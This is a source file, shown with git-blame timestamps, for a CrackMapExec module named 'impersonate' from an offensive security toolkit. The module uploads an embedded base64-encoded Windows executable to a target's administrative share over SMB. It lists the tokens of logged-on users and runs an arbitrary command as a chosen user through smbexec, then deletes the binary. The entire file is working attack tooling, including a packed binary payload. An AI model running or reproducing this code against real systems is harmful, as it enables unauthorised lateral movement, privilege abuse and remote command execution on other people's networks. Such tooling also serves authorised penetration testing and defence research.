2022-10-27 10:21:46 +00:00
|
|
|
from base64 import b64decode
|
2022-10-27 19:32:55 +00:00
|
|
|
from sys import exit
|
2022-10-29 09:52:48 +00:00
|
|
|
from os import path
|
2022-07-04 12:44:35 +00:00
|
|
|
|
|
|
|
class CMEModule:
|
|
|
|
|
|
|
|
name = "impersonate"
|
|
|
|
description = "List and impersonate tokens to run command as locally logged on users"
|
|
|
|
supported_protocols = ["smb"]
|
|
|
|
opsec_safe = True # could be flagged
|
|
|
|
multiple_hosts = True
|
|
|
|
|
|
|
|
def options(self, context, module_options):
|
|
|
|
'''
|
2022-10-27 10:21:46 +00:00
|
|
|
TOKEN // Token id to usurp
|
2022-10-29 09:52:48 +00:00
|
|
|
EXEC // Command to exec
|
|
|
|
IMP_EXE // Path to the Impersonate binary on your local computer
|
2022-07-04 12:44:35 +00:00
|
|
|
'''
|
|
|
|
|
|
|
|
self.tmp_dir = "C:\\Windows\\Temp\\"
|
|
|
|
self.share = "C$"
|
|
|
|
self.tmp_share = self.tmp_dir.split(":")[1]
|
|
|
|
self.impersonate = "Impersonate.exe"
|
2022-10-29 09:52:48 +00:00
|
|
|
self.useembeded = True
|
2022-10-27 19:32:55 +00:00
|
|
|
self.token = self.cmd = ""
|
2022-10-27 16:57:00 +00:00
|
|
|
self.impersonate_embedded = b64decode("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAA/offYe8CZi3vAmYt7wJmLb6udinDAmYtvq5qKfsCZi2+rnIrxwJmLKbWcil7AmYsptZ2Ka8CZiym1mopywJmLb6uYinLAmYt7wJiLEcCZi7q1kIp6wJmLurVmi3rAmYu6tZuKesCZi1JpY2h7wJmLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAGSGBwAfuF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QCFwHRRiwOD+AJ1EkyNBRW1AQDrMEyNBai2AQDrJ4P4A3UJTI0FLrUBAOsZhcB1CUyNBUm1AQDrDEE7x3UYTI0FY7UBALoeAAAASI2NpnoBAOgmNAAAM/9Ei9dFhe0PiLcAAABBjUUBTGPYTI2N3gIAAGYPH0QAAEmNgeL9//9MjYXAdwEATCvAD7cQQg+3DAAr0XUISIPAAoXJdeyF0nVhTI2F3nkBAEmLwU0rwWZmDx+EAAAAAAAPtxBCD7cMACvRdQhIg8AChcl17IXSdTJJjYHIAAAATI2FpnoBAEwrwA8fgAAAAAAPtxBCD7cMACvRdQhIg8AChcl17IXSRQ9E10mBwcADAABNK98PhWb///9FhdIPhewAAABIjZXeeQEASMfB/////w8fQABmZmYPH4QAAAAAAA+3REoCZjtETgIPhb8AAABIg8ECSIP5DXQYD7cESmY7BE503EmLzv8VuygB
|
2022-07-04 12:44:35 +00:00
|
|
|
|
2022-10-29 09:52:48 +00:00
|
|
|
if "EXEC" in module_options:
|
|
|
|
self.cmd = module_options["EXEC"]
|
2022-10-27 19:32:55 +00:00
|
|
|
|
2022-10-29 09:52:48 +00:00
|
|
|
if "TOKEN" in module_options:
|
|
|
|
self.token = module_options["TOKEN"]
|
|
|
|
|
|
|
|
if "IMP_EXE" in module_options:
|
|
|
|
self.imp_exe = module_options["IMP_EXE"]
|
|
|
|
self.useembeded = False
|
2022-07-04 12:44:35 +00:00
|
|
|
|
2022-07-09 16:34:35 +00:00
|
|
|
def list_available_primary_tokens(self, _, connection):
|
2022-10-27 10:21:46 +00:00
|
|
|
command = f"{self.tmp_dir}Impersonate.exe list"
|
2022-07-09 16:34:35 +00:00
|
|
|
return connection.execute(command, True)
|
|
|
|
|
2022-07-04 12:44:35 +00:00
|
|
|
def on_admin_login(self, context, connection):
|
|
|
|
|
2022-10-29 09:52:48 +00:00
|
|
|
if self.useembeded:
|
|
|
|
file_to_upload = "/tmp/Impersonate.exe"
|
|
|
|
with open(file_to_upload, 'wb') as impersonate:
|
|
|
|
impersonate.write(self.impersonate_embedded)
|
|
|
|
else:
|
|
|
|
if path.isfile(self.imp_exe):
|
|
|
|
file_to_upload = self.imp_exe
|
|
|
|
else:
|
|
|
|
context.log.error(f"Cannot open {self.imp_exe}")
|
|
|
|
exit(1)
|
2022-07-04 12:44:35 +00:00
|
|
|
|
|
|
|
context.log.info(f"Uploading {self.impersonate}")
|
2022-10-29 09:52:48 +00:00
|
|
|
with open(file_to_upload, 'rb') as impersonate:
|
2022-07-04 12:44:35 +00:00
|
|
|
try:
|
|
|
|
connection.conn.putFile(self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read)
|
2022-07-09 16:34:35 +00:00
|
|
|
context.log.success(f"Impersonate binary successfully uploaded")
|
2022-07-04 12:44:35 +00:00
|
|
|
except Exception as e:
|
|
|
|
context.log.error(f"Error writing file to share {self.tmp_share}: {e}")
|
|
|
|
return
|
|
|
|
|
|
|
|
try:
|
2022-10-27 19:32:55 +00:00
|
|
|
if self.cmd == "" or self.token == "":
|
2022-07-09 16:34:35 +00:00
|
|
|
context.log.info(f"Listing available primary tokens")
|
|
|
|
p = self.list_available_primary_tokens(context, connection)
|
2022-07-04 12:44:35 +00:00
|
|
|
for line in p.splitlines():
|
2022-10-27 10:21:46 +00:00
|
|
|
token, token_owner = line.split(" ", 1)
|
|
|
|
context.log.highlight(f"Primary token ID: {token} {token_owner}")
|
2022-07-04 12:44:35 +00:00
|
|
|
else:
|
2022-07-09 16:34:35 +00:00
|
|
|
impersonated_user = ""
|
|
|
|
p = self.list_available_primary_tokens(context, connection)
|
|
|
|
for line in p.splitlines():
|
|
|
|
token_id, token_owner = line.split(" ", 1)
|
2022-10-27 10:21:46 +00:00
|
|
|
if token_id == self.token:
|
|
|
|
impersonated_user = token_owner.strip()
|
2022-07-09 16:34:35 +00:00
|
|
|
break
|
2022-10-27 10:21:46 +00:00
|
|
|
|
|
|
|
if impersonated_user:
|
2022-10-27 19:32:55 +00:00
|
|
|
context.log.info(f"Executing {self.cmd} as {impersonated_user}")
|
|
|
|
command = f"{self.tmp_dir}Impersonate.exe exec {self.token} \"{self.cmd}\""
|
2022-10-29 09:52:48 +00:00
|
|
|
for line in connection.execute(command, True, methods=["smbexec"]).splitlines():
|
2022-10-27 10:21:46 +00:00
|
|
|
context.log.highlight(line)
|
2022-07-09 16:34:35 +00:00
|
|
|
else:
|
|
|
|
context.log.error(f"Invalid token ID submitted")
|
|
|
|
|
2022-07-04 12:44:35 +00:00
|
|
|
except Exception as e:
|
|
|
|
context.log.error(f"Error runing command: {e}")
|
|
|
|
finally:
|
|
|
|
try:
|
|
|
|
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
|
2022-10-27 10:21:46 +00:00
|
|
|
context.log.success(f"Impersonate binary successfully deleted")
|
2022-07-04 12:44:35 +00:00
|
|
|
except Exception as e:
|
2022-10-27 10:21:46 +00:00
|
|
|
context.log.error(f"Error deleting Impersonate.exe on {self.share}: {e}")
|